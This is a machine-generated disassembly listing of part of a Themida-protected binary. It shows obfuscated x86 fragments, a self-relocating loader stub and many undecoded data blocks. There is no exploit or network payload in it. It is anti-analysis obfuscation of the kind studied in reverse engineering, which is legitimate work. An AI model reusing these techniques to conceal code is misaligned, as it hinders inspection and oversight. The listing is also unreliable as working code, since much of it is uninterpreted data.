		dd 0D259876h, 197A2A7Eh, 0FFBC59E9h, 5EAC1FFh, 0E950DAF7h
		dd 0FFFFABFDh
dword_550A14	dd 240C8B66h, 464E68h, 24148900h, 0B850E289h, 471610D1h
					; DATA XREF: Themida_:00544494o
		dd 1610CD2Dh, 0B9515647h, 65C522D7h, 0D3E9CE89h, 53FFFF55h
		dd 0FFD534E9h, 5AD501FFh, 2C581h, 0FF550000h, 5D042474h
		dd 0E924048Fh, 0FFFF8616h, 0E95AA004h, 0FFFFAE3Bh, 0E9241C86h
		dd 79h
; ---------------------------------------------------------------------------


loc_550A68:				; CODE XREF: Themida_:0054BFEBj
		push	edi
		mov	edi, 18F672CBh
		xor	edi, 7B512C05h
		xor	edi, 63A75ECAh
		add	esi, edi
		pop	edi
		push	5951h
		jmp	loc_545117
; ---------------------------------------------------------------------------
		db 1
		dd 80C781DFh, 8B79C13Dh, 2CE9241Ch, 81FFFFD9h, 9386EC5h
		dd 81FD017Fh, 9386EEDh,	34FF5F7Fh, 0CB6FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550AAE:				; CODE XREF: Themida_:00547F36j
		add	esi, 1
		push	eax
		push	ebx
		mov	ebx, 2A210367h
		mov	eax, 7363438Ah
		sub	eax, ebx
		pop	ebx
		jmp	loc_54BED5
; ---------------------------------------------------------------------------
		dd 8704EB83h, 248B241Ch, 24048924h, 0C12889B0h,	59C80058h
		dd 0FF65D2E9h, 50D3F6FFh, 5C8AD888h, 0CDE90424h, 5FFFF4Ah
		dd 4072F024h, 8158C231h, 0BF4A5DE2h, 5B05E92Ah,	0C181FFFFh
		dd 10200126h, 0FFF474E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550B0D:				; CODE XREF: Themida_:0054E478j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 92639F98h
		sub	edx, ecx
		pop	ecx
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		sub	al, bh
		mov	bx, [esp]
		add	esp, 2
		push	ecx
		mov	ch, 0D3h
		dec	ch
		not	ch
		xor	ch, 81h
		push	eax
		jmp	loc_547527
; ---------------------------------------------------------------------------


loc_550B41:				; CODE XREF: Themida_:0054C0A0j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		and	ecx, edi
		jmp	loc_55082F
; ---------------------------------------------------------------------------
		db 89h
		dd 0ADB9240Ch, 0E9282627h, 0FFFF4456h, 2924248Bh, 0E99C2404h
		dd 0FFFF3B3Fh
; ---------------------------------------------------------------------------


loc_550B68:				; CODE XREF: Themida_:0054BBDBj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5505F8
; ---------------------------------------------------------------------------


loc_550B77:				; CODE XREF: Themida_:0054ADECj
		and	eax, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, 19A7272Fh
		add	edi, ebp
		sub	edi, 19A7272Fh
		pop	ebp
		push	eax
		push	ecx
		jmp	loc_547791
; ---------------------------------------------------------------------------
		db 0F7h
		dd 80C681DEh, 50279214h, 0FF62D0E9h, 244481FFh,	0A435C304h
		dd 0D1E95912h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550BB7:				; CODE XREF: Themida_:005454D5j
		mov	edi, 2410634Ch
		and	edi, 159F4CDCh
		shl	edi, 2
		add	edi, 0EFBEFED4h
		jmp	loc_54C190
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFF5040h, 0EE81D601h, 0CD650E7h, 0FFEEA2E9h
		db 0FFh
byte_550BE5	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:005443F4o
		dd 0FF3ABAE9h, 5D5455FFh, 0B647E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550BF6:				; CODE XREF: Themida_:0054E27Cj
		add	edi, 3BA163B5h
		jmp	loc_54FD74
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 22h
		dd 0FF5A475Eh, 0E95E2434h, 0FFFFB6F6h, 44056857h, 2EE92B9Bh
		dd 31FFFFB4h, 44E92414h, 0BAFFFF9Ah, 4,	875AD501h, 248B242Ch
		dd 4C78124h, 81000000h,	2EFh, 0AC35E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C42:				; CODE XREF: Themida_:0054ED89j
		push	esi
		mov	esi, 76FC67D0h
		jmp	loc_54F3E5
; ---------------------------------------------------------------------------
		db 1, 0EFh, 5Dh
		dd 0A834E952h, 8F5FFFFFh, 0EAE92404h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C5F:				; CODE XREF: Themida_:0054EA35j
		xor	ebp, [esp]
		jmp	loc_54949A
; ---------------------------------------------------------------------------


loc_550C67:				; CODE XREF: Themida_:0054C934j
		add	esp, 4
		jmp	loc_54B6F9
; ---------------------------------------------------------------------------


loc_550C6F:				; CODE XREF: Themida_:00550C86j
		mov	edx, eax
		pop	eax
		xor	edi, edx
		pop	edx
		sub	edi, 1
		jmp	loc_54C3EF
; ---------------------------------------------------------------------------


loc_550C80:				; CODE XREF: Themida_:0054FFD8j
		mov	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		jmp	loc_550C6F
; ---------------------------------------------------------------------------


loc_550C8B:				; CODE XREF: Themida_:0054D406j
		xor	ebp, 0B2E39CB0h
		add	edi, 74C0309h
		add	edi, ebp
		sub	edi, 74C0309h
		mov	ebp, [esp]
		jmp	loc_54F19D
; ---------------------------------------------------------------------------


loc_550CA7:				; CODE XREF: Themida_:00548C10j
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_54A26A
; ---------------------------------------------------------------------------


loc_550CB7:				; CODE XREF: Themida_:0054CC12j
		sub	ebp, eax
		sub	ebp, 3FEB6597h
		pop	eax
		jmp	loc_54B28A
; ---------------------------------------------------------------------------


loc_550CC5:				; CODE XREF: Themida_:00544DE1j
		sub	ecx, 197992E5h
		push	ecx
		add	dword ptr [esp], 45A86788h
		jmp	loc_54E93A
; ---------------------------------------------------------------------------
		dd 7DE1E959h, 0B652FFFFh, 0C4F680EEh, 0E9A6EE80h, 0FFFFE892h
; ---------------------------------------------------------------------------


loc_550CEC:				; CODE XREF: Themida_:0054608Dj
		xchg	esi, [esp]
		pop	esp
		add	eax, 55617794h
		sub	eax, ebx
		sub	eax, 55617794h
		jmp	loc_544B64
; ---------------------------------------------------------------------------


loc_550D01:				; CODE XREF: Themida_:0054CB02j
		mov	ebp, 2FF06248h
		xor	ebp, 2D803803h
		and	ecx, ebp
		jmp	loc_54AB71
; ---------------------------------------------------------------------------
		db 51h
		dd 0B13AB450h, 0E9E1306Ah, 0FFFFA3C0h, 4AC90540h, 0D0F77C28h
		dd 45B4FE2Dh, 0B6D8E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550D32:				; CODE XREF: Themida_:00546E67j
		mov	eax, 49CA70B8h
		add	[esp+8], eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		add	edx, 1392B70h
		pop	edi


loc_550D4D:				; CODE XREF: Themida_:0054F542j
					; Themida_:0055083Bj
		push	ebx
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edi
		mov	edi, 122B32ECh
		shr	edi, 2
		xor	edi, 48ACCBFh
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	203Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7AA2519Eh
		xor	ebp, 3379202Dh
		sub	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 49DB71B3h
		push	36C0h
		mov	[esp], edx
		jmp	loc_54E6E7
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 44C18005h, 0FF7938E9h
		db 0FFh
byte_550DC9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054461Co
		dd 0E0895024h, 4B951h, 0C8010000h, 0F321E959h
		db 2 dup(0FFh)
word_550DDE	dw 83ADh		; DATA XREF: Themida_:00544434o
		dd 0F00207Fh, 0FFB11C84h, 5FBF57FFh, 5242DC1Eh,	512268h
		dd 240C8900h, 4177AAB9h, 59CA8957h, 0F75AD731h,	1EF781D7h
		dd 18D41B2h, 72E95FFEh
		db 66h,	2 dup(0FFh)
byte_550E13	db 66h			; DATA XREF: Themida_:0054448Co
		dd 8124048Bh, 4ECh, 4D54E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550E22:				; CODE XREF: Themida_:0054B348j
		pop	edi
		sub	eax, 1E700C19h
		add	eax, edi
		push	edx
		jmp	loc_545676
; ---------------------------------------------------------------------------
		dd 88E8B151h, 515359CAh, 9594E953h, 74FFFFFFh, 8F580424h
		dd 248B2404h, 24348924h, 0BB535E54h, 4,	0FF6783E9h, 4C481FFh
		dd 66000000h, 6AE9EA87h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550E67:				; CODE XREF: Themida_:0054F54Bj
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_54C6C5
; ---------------------------------------------------------------------------


loc_550E73:				; CODE XREF: Themida_:005468EDj
		pop	eax
		add	esp, 4
		jmp	loc_550FAD
; ---------------------------------------------------------------------------
		db 2Dh
		dd 3CA03A98h, 5A394C2Dh, 69DBE94Bh, 0C8BFFFFh, 0AF5EE924h
		dd 3166FFFFh, 33662404h, 31662404h, 0E92404h, 89FFFF38h
		dd 0E9572414h, 0FFFF4BCDh, 4246C31h, 0FF5429E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550EB9:				; CODE XREF: Themida_:00547501j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5468E0
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 53h
		dd 4BBh, 5BDD0100h, 0FF6BACE9h,	245401FFh, 246C8104h, 17605004h
		dd 53585A42h, 0FF80F7E9h, 0C70159FFh, 2C26EF81h, 565809A5h
		dd 0D53548BEh, 0C5F68126h, 81698C00h, 2D4D21EEh, 0ABF6815Eh
		dd 1AEE995h, 24348BF7h,	4704C483h, 0DE2AB951h, 0D0E93DAAh
		dd 81FFFFEEh, 17327DCFh, 0BA524779h, 4EF649E2h,	21E9D731h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550F3B:				; CODE XREF: Themida_:0054D9A8j
		and	eax, 571E4E94h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0BB650B9h
		sub	eax, esi
		pop	esi
		push	esi
		mov	esi, 7A873BD0h
		neg	esi
		xor	esi, 0E860E478h
		add	eax, esi
		jmp	loc_545E35
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2E50BA24h, 0BA521856h, 43BC4DE5h, 0E95AD301h, 0FFFF71E6h
		dd 0C90B585Eh, 38CF840Fh, 0AB68FFFFh, 8900004Eh, 0E9532424h
		dd 0FFFFAEEDh, 8108EDC1h, 717E91C5h, 5DE8311Ah,	3506E0C1h
		dd 3C997E41h, 0FFBD61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FAD:				; CODE XREF: Themida_:00550E7Aj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 6966774Ah
		shr	ecx, 6
		xor	ecx, 303B381Eh
		sub	ecx, 319EA1BFh
		add	edi, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_54C91C
; ---------------------------------------------------------------------------


loc_550FD0:				; CODE XREF: Themida_:00548F13j
		xor	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54DA05
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 56242C89h, 2BEh, 8B73E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550FFA:				; CODE XREF: Themida_:005508E4j
		push	ebp
		jmp	loc_548334
; ---------------------------------------------------------------------------
		dd 0E5C1DDF7h, 6EDC108h, 3AE7E956h
		db 2 dup(0FFh)
aMHn		db '¬,¸(Øh',0Ah,0      ; DATA XREF: Themida_:005444CCo
		align 4
		dd 53240C89h, 0DD8814B3h, 0B968665Bh, 6F91E934h, 6C81FFFFh
		dd 2990424h, 4C0111E6h,	0B9E90424h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55103B:				; CODE XREF: Themida_:0054F7C7j
		push	esp
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 4F60435Eh
		neg	eax
		shr	eax, 8
		jmp	loc_54D8FF
; ---------------------------------------------------------------------------
word_55104E	dw 77FFh		; DATA XREF: Themida_:0054441Co
		dd 793DE93Ch, 2968FFFFh, 0E900005Ah, 0FFFF8A78h, 0E924048Bh
		dd 0FFFF85CBh
; ---------------------------------------------------------------------------


loc_551068:				; CODE XREF: Themida_:0054CADCj
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_544B41
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4E5479BBh, 75E9CE01h, 83FFFF53h, 148904ECh, 0F611B624h
		dd 41EE80DEh, 0E919EB80h, 0FFFFC01Bh
; ---------------------------------------------------------------------------


loc_551098:				; CODE XREF: Themida_:0054483Fj
		shl	ecx, 4
		xor	ecx, 6556F654h
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	751A6047h
		push	dword ptr [esp]
		jmp	loc_54EDBA
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0DDh
		dd 43446F31h, 1C33F381h, 0C3816835h, 2578CA9Eh,	15BDE29h
		dd 8BC681CEh, 5963532Eh, 0FF8D45E9h, 0C5EE81FFh, 101080Bh
		dd 8F3CE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5510F2:				; CODE XREF: Themida_:0054DF2Fj
		pop	edx
		add	ebx, 2
		jmp	loc_54E0A9
; ---------------------------------------------------------------------------


loc_5510FB:				; CODE XREF: Themida_:0054D054j
		xor	eax, edx
		mov	edx, [esp]
		jmp	loc_54D289
; ---------------------------------------------------------------------------


loc_551105:				; CODE XREF: Themida_:0054DFD6j
		add	ch, 5Bh
		sub	ch, ah
		sub	ch, 5Bh
		push	edx
		push	ebx
		mov	bl, 41h
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		neg	dl
		jmp	loc_54E1D0
; ---------------------------------------------------------------------------


loc_551123:				; CODE XREF: Themida_:00548ABAj
		mov	edi, [esp]
		jmp	loc_54880E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14892424h, 0C0DBB624h, 0B05003EEh, 58C608DBh, 0FF4C2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551141:				; CODE XREF: Themida_:005483F7j
		pop	edx
		neg	ebp
		not	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 547957BCh
		neg	esi
		shl	esi, 4
		jmp	loc_54E33A
; ---------------------------------------------------------------------------
		db 50h
		dd 0F72115B8h, 0E9C58950h, 0FFFF9D6Ch, 5E2434FFh, 4C481h
		dd 30E90000h, 5EFFFF35h, 5C24048Fh, 68241C89h, 46F2h, 68240C89h
		dd 17AF5FADh, 0FF8798E9h, 4C483FFh, 0FFB5BAE9h,	74C68FFh
		dd 8F540000h, 0B2E92404h, 5BFFFF8Fh, 373068h, 242C8900h
		dd 0E63713BDh, 0D7CD8179h, 521B5F7Eh, 0EA5686BAh, 81D2F738h
		dd 54E94DF2h, 0E9D5099Dh, 0FFFF87D8h, 815DEE29h, 277A43C3h
		dd 81F32907h, 277A43EBh, 1C875E07h, 3A3BE924h, 0D000FFFFh
		dd 742C252Ch, 5A2434FFh, 4EC81h, 1C890000h, 0E9E38924h
		dd 0FFFFA71Bh
; ---------------------------------------------------------------------------


loc_551204:				; CODE XREF: Themida_:0054481Dj
		xor	esi, 0D9766CB8h
		jmp	loc_54F550
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFE582E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551215:				; CODE XREF: Themida_:0054E343j
		pop	esi
		sub	ebp, 2900027h
		mov	edx, ebp
		jmp	loc_54DDC4
; ---------------------------------------------------------------------------
byte_551223	db 0ACh			; DATA XREF: Themida_:0054460Co
		dd 0B551D830h
		db 0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54CAE1
; ---------------------------------------------------------------------------


loc_551231:				; CODE XREF: Themida_:00549BBFj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		push	edx
		jmp	loc_54C00A
; ---------------------------------------------------------------------------
byte_551243	db 66h			; DATA XREF: Themida_:005444FCo
		dd 51240C8Bh, 0C181E189h, 4, 0E904E983h, 0FFFFE33Fh
; ---------------------------------------------------------------------------


loc_551258:				; CODE XREF: Themida_:00547AFDj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_54E94B
; ---------------------------------------------------------------------------
word_55126A	dw 8F64h		; DATA XREF: Themida_:005444B4o
		dd 3435E902h, 815BFFFFh, 0F37DFCC6h, 0ACE8164h,	0E9791721h
		dd 0FFFF619Bh, 0D488CA88h, 8124148Bh, 4C4h, 52F48600h
		dd 12454F6h, 30F4305Ah,	0E9F430E6h, 0FFFF61F5h,	13E95AB1h
		dd 58FFFFFBh, 69C8EB81h, 0FB2939D6h, 69C8C381h,	0EC8139D6h
		dd 4, 56240C89h, 0E53681BEh, 0AF60B918h, 76E981A5h, 5EFFFF41h
		dd 4EC81h, 14890000h, 2BA24h, 0D7010000h, 8324148Bh, 3FE904C4h
		dd 28FFFF72h, 3C580C5h,	0E8305866h, 0D8B05059h,	0FFD1A5E9h
		dd 32FFBAFFh, 0D7897C7Dh, 0FFCFE3E9h, 0F0E95DFFh
		db 0E7h, 2 dup(0FFh)
byte_551313	db 66h			; DATA XREF: Themida_:005443CCo
		dd 55240C8Bh, 0FF5F9AE9h, 5EC281FFh, 296A9371h,	5EEA81CAh
		dd 596A9371h, 0FFBEDDE9h, 505E5AFFh, 4F3F34B8h,	0B278E921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55133E:				; CODE XREF: Themida_:0054F049j
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		jmp	loc_547EAF
; ---------------------------------------------------------------------------
byte_551349	db 66h,	50h, 68h	; DATA XREF: Themida_:005443F8o
		dd 7FE2h, 88241C89h, 664968CFh,	0C890000h, 88515024h, 0E9CC88F9h
		dd 0FFFFDFD0h, 4EC8156h, 89000000h, 2968240Ch, 591C6B36h
		dd 0FF9229E9h, 0BE565EFFh, 0FC6CDB68h, 15EF201h, 24148BD1h
		dd 8704C483h, 0DCE9240Ch, 81FFFFBEh, 4C4h, 0DDF74500h
		dd 9BCB850h, 4AE94D6Fh
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5513AB:				; CODE XREF: Themida_:0054E553j
		sub	bl, 76h
		pop	ecx
		add	bl, 62h
		jmp	loc_54A301
; ---------------------------------------------------------------------------
		db 3Bh
		dd 0E8E99CC8h, 8BFFFF32h, 68E9240Ch, 4FFFFC5h, 7FFE03h
		dd 4000000h, 3005A03h, 0A8005AC0h, 0E7FA28C6h, 0DD005B1Dh
		dd 1700A069h, 2000002h,	1000000h, 6000000h, 0A8000000h
		dd 0FA28C6h, 4 dup(0)
		dd 0EF000000h, 0E2005637h, 120055C5h, 4F005667h, 23005563h
		dd 0E600559Ah, 0C1005663h, 5005664h, 30055BEh, 0C100551Bh
		dd 2F00564Ah, 0F5005634h, 940055D8h, 7C00565Ah,	54005594h
		dd 0F00559Fh, 5D005639h, 1700566Ah, 0D4005522h,	0C8005538h
		dd 6500562Fh, 0BA005661h, 2C005598h, 5A005604h,	3F00552Ch
		dd 430055F3h, 0F700557Ah, 48005531h, 0F500559Ah, 210055B5h
		dd 74005555h, 0E100555Fh, 0F7005629h, 0F005532h, 0F1005574h
		dd 1A00554Bh, 0D2005534h, 2B005544h, 0F0055DEh,	1B005657h
		dd 0C50055AEh, 3C005669h, 790055E6h, 900557Fh, 61005659h
		dd 0EA005601h, 0F400566Bh, 0A1005543h, 0C00562Eh, 32005573h
		dd 630055CBh, 1E005635h, 2D0055F0h, 0CF005624h,	0EA00563Eh
		dd 0A100559Bh, 7B00552Eh, 1900556Fh, 0F9005529h, 9900557Eh
		dd 0EB0055A0h, 1400557Ch, 5300560Ah, 280055B9h,	260055C1h
		dd 9400561Dh, 0B005654h, 7D005602h, 2B0055D9h, 0BD00555Ah
		dd 1C005558h, 9A0055E2h, 0B30055D5h, 0FE00564Fh, 0B1005623h
		dd 0D30055F1h, 3D005668h, 80055DDh, 2600554Ch, 0FE0055C6h
		dd 48005582h, 5900553Fh, 0B00055B3h, 7A00557Ch,	4400562Ch
		dd 0F00559Dh, 0ED00560Fh, 0B000558Ch, 510055E6h, 8B00551Ah
		dd 7100556Bh, 93005654h, 0B3005527h, 0EA0055FEh, 62005595h
		dd 970055EEh, 5B005640h, 0CF005595h, 0C500557Fh, 3C005550h
		dd 2900551Fh, 2A00562Fh, 0B9005631h, 8B00559Ah,	7E0055D1h
		dd 2A0055CEh, 0FB00560Eh, 0CF005587h, 27005590h, 0A300558Bh
		dd 0ED005644h, 13005646h, 5800554Dh, 3B0055BAh,	0D90055E7h
		dd 0E10055EFh, 0AB005592h, 0FF00552Eh, 0E100563Ch, 0B4005538h
		dd 6F0055BBh, 9100563Bh, 0F8005597h, 0FF0055C1h, 8C005614h
		dd 6F0055D3h, 5C0055A2h, 0BB005630h, 8F005615h,	0EF0055C1h
		dd 74005642h, 0E7005636h, 140055B9h, 2E0055C8h,	5522h
		dd 0F300560Dh, 0B00055E6h, 5B00556Dh, 81005523h, 0F0005650h
		dd 47005640h, 0BC00554Ch, 0A700561Ch, 6500556Ch, 420055F7h
		dd 0F00055EEh, 1E005568h, 8E005539h, 28005649h,	40005569h
		dd 4700553Eh, 0A5005621h, 3700561Eh, 0ED005551h, 520055A2h
		dd 83005561h, 99005628h, 6E005532h, 24005664h, 7D0055B4h
		dd 0DC0055D5h, 0EE005574h, 74005619h, 3A00562Dh, 0D6005646h
		dd 1300566Ah, 0BE005607h
		db 0DCh, 55h, 0
; ---------------------------------------------------------------------------


loc_5516A7:				; CODE XREF: Themida_:00594F40j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62C5007h
		mov	eax, edi
		add	edi, 62C4D1Fh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5516C5
		jmp	short loc_5516D8
; ---------------------------------------------------------------------------


loc_5516C5:				; CODE XREF: Themida_:005516C1j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5516D4
; ---------------------------------------------------------------------------


loc_5516CF:				; CODE XREF: Themida_:005516D6j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5516D4:				; CODE XREF: Themida_:005516CDj
		or	ecx, ecx
		jnz	short loc_5516CF


loc_5516D8:				; CODE XREF: Themida_:005516C3j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5516E5:				; CODE XREF: Themida_:005516ECj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5516E5


loc_5516EE:				; CODE XREF: Themida_:00552CFBj
					; Themida_:00552ED9j ...
		lodsb
		jmp	loc_5537A7
; ---------------------------------------------------------------------------
		dd 89241C89h, 4C381E3h,	83000000h, 1C3304EBh, 241C3124h
		dd 5C241C33h, 0FF243C89h, 8B042474h, 5455243Ch,	4C5815Dh
		dd 83000000h, 2C8704C5h, 48F5C24h, 24248B24h, 9C2404D2h
		dd 0FFFFB9E9h, 2414F7FFh, 0B428E9h
		db 0
; ---------------------------------------------------------------------------


loc_55173D:				; CODE XREF: Themida_:00563239j
		push	ebx
		mov	bh, 0BEh
		add	bh, 0C8h
		jmp	loc_557D23
; ---------------------------------------------------------------------------


loc_551748:				; CODE XREF: Themida_:0055D3BEj
		push	32E6h
		mov	[esp], edi
		push	eax
		push	75FC7DC8h
		pop	eax
		jmp	loc_566ACC
; ---------------------------------------------------------------------------


loc_55175C:				; CODE XREF: Themida_:00551A0Dj
		mov	[esp], ebx
		push	ecx
		mov	ch, al
		mov	bl, ch
		pop	ecx
		mov	dl, bl
		jmp	loc_55A907
; ---------------------------------------------------------------------------
		dd 8BC7315Ah, 0C4832404h, 32F1E904h, 4C010000h,	0B9510424h
		dd 9BD0096h, 8244C01h, 51585959h, 4B9h,	0AA48E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551796:				; CODE XREF: Themida_:00564A22j
		xor	esi, 48295A31h
		add	edi, esi
		pop	esi
		mov	ecx, edi
		pop	edi
		not	ecx
		shl	ecx, 7
		jmp	loc_564AFD
; ---------------------------------------------------------------------------


loc_5517AC:				; CODE XREF: Themida_:0055621Fj
		push	ecx
		mov	ch, 51h
		push	1AF2h
		mov	[esp], ebx
		jmp	loc_5534B9
; ---------------------------------------------------------------------------
		dd 3CA3ED81h, 0E909F6A5h, 685Dh, 0C290000h, 0EC835924h
		dd 243C8904h, 0D4D38BFh, 5FF9312Fh, 0BEE6F181h,	0CF21EAAFh
		dd 81240C8Bh, 4C4h, 0E9C78100h,	816DFB22h, 28B83C7h, 0E9FE0141h
		dd 12FF4h
; ---------------------------------------------------------------------------


loc_551800:				; CODE XREF: Themida_:0056140Dj
		pop	esp
		add	esp, 4
		mov	[edi+eax*4+1], bh
		push	dword ptr [esp]
		jmp	loc_55C3A8
; ---------------------------------------------------------------------------


loc_551813:				; CODE XREF: Themida_:0055903Cj
		push	ecx
		jmp	loc_564115
; ---------------------------------------------------------------------------


loc_551819:				; CODE XREF: Themida_:00561F79j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		add	ecx, 72792832h
		sub	ecx, esi
		sub	ecx, 72792832h
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_5547FA
; ---------------------------------------------------------------------------


loc_55184B:				; CODE XREF: Themida_:00558CE1j
		push	edx
		mov	edx, 29F6354Eh
		neg	edx
		add	edx, 29F63552h
		add	edi, edx
		pop	edx
		jmp	loc_5585AE
; ---------------------------------------------------------------------------
		db 68h,	12h, 6Ch
		dd 1C890000h, 5D48BB24h, 53E9329Fh, 680000DCh, 3BCAh, 50240C89h
		dd 3FAE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551882:				; CODE XREF: Themida_:00555BDFj
		shr	ebp, 5
		not	ebp
		or	ebp, 162248E9h
		xor	ebp, 398D7C37h
		or	ebp, 60071CA8h
		sub	ebp, 0CAC42F15h
		jmp	loc_55F56D
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 67E9242Ch, 5B000037h, 8A61E9h, 0DCE95200h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5518BB:				; CODE XREF: Themida_:0055D378j
		mov	eax, 0AFA662FEh
		sub	eax, edi
		pop	edi
		jmp	loc_552489
; ---------------------------------------------------------------------------


loc_5518C8:				; CODE XREF: Themida_:005573DFj
		add	al, bh
		jmp	loc_562D39
; ---------------------------------------------------------------------------
		db 81h
		dd 5B4212C7h, 94C7813Ch, 1AC00AEh, 0F7685FFAh, 8900005Bh
		dd 0CDBD242Ch, 50672914h, 0DA60FFB8h, 3FDCE969h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5518F6:				; CODE XREF: Themida_:00562390j
		shr	edx, 1
		jmp	loc_55FA57
; ---------------------------------------------------------------------------


loc_5518FD:				; CODE XREF: Themida_:005650B5j
		push	66980C90h
		pop	ebx
		or	ebx, 32636166h
		jmp	loc_558789
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 50525A24h, 405E089h,	83000000h, 0E1E904E8h, 40000F9h
		dd 362C5929h, 3604D800h, 12A068h, 24148900h, 0B457E9h
		dd 61E95100h, 89000107h, 0E789243Ch, 7BDBBA52h,	0F2813D19h
		dd 7203DE1h, 8104E2C1h,	9463A4F2h, 5AD701A3h, 0BE81E950h
		dd 14870000h, 24248B24h, 100A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55196D:				; CODE XREF: Themida_:005638AFj
		push	ecx
		mov	cl, 47h
		dec	cl
		dec	cl
		xor	cl, al
		xor	al, cl
		xor	cl, al
		jmp	loc_554214
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5104C1h, 59042474h, 0E924048Fh, 0A4F0h, 4875D5Fh
		dd 24248B24h, 1009FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55199D:				; CODE XREF: Themida_:00561132j
		add	edx, 4
		jmp	loc_5551F1
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 2
		dd 68000000h, 25A4h, 68242C89h,	175Eh, 1049BE9h, 3FB4BA00h
		dd 0C28169FDh, 0FD40D52h, 0E2D1DAF7h, 0F0EDC281h, 0D0015D1Ah
		dd 2E58255Ah, 0E8C16948h, 0F7504005h, 0E958241Ch, 54Ah
; ---------------------------------------------------------------------------


loc_5519E8:				; CODE XREF: Themida_:00563373j
		not	dword ptr [esp]
		pop	edx
		push	3A82h
		mov	[esp], eax
		jmp	loc_55B51B
; ---------------------------------------------------------------------------
